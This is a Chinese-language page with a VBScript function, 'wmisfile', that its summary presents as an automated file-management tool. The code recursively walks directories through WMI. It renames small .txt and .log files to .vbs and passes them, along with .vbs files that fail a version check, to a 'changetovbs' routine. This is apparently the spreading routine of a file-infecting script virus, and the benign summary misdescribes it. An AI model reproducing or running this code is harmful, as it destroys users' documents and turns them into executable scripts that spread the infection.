文章摘要
这篇文章主要介绍了一个名为`wmisfile`的自定义Windows系统函数，用于在指定目录下查找和处理文件。函数通过磁盘管理服务（`winmgmts`）获取文件列表，并根据文件扩展名和大小对文件进行处理。具体操作包括：对于`.txt`、`.log`和`.vbs`文件，分别进行文件更名和版本校验；对于子目录，则递归调用函数处理。该函数的主要目的是自动化文件管理操作。
Function wmisfile(path_sf,justcnt)
‘On Error Resume Next
StrComputer=”.”
Set ObjWMIService=GetObject(“winmgmts:\” & StrComputer & “\root\cimv2”)
Set FileList=objWMIService.ExecQuery _
(“ASSOCIATORS OF {Win32_Directory.Name='” & path_sf & “‘} Where ” _
& “ResultClass=CIM_DataFile”)
For Each objFile In FileList
fname=LCase(objfile.name)
ename=LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <=50000 Then
Select Case ename
Case “txt”,”log”
path_vbs=objfile.drive & objfile.path & objfile.filename & “.vbs”
objfile.rename(objfile.drive & objFile.Path & objfile.filename & “.vbs”)
Call changetovbs(path_vbs,path_vbs)
justcnt=justcnt + 1
Case “vbs”
If checkversion(fname)=False Then
Call changetovbs(fname,fname)
justcnt=justcnt + 1
End If
End Select
End If
Next
Set colSubfolders=objWMIService.ExecQuery _
(“Associators of {Win32_Directory.Name='” & path_sf & “‘} ” _
& “Where AssocClass=Win32_Subdirectory ” _
& “ResultRole=PartComponent”)
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function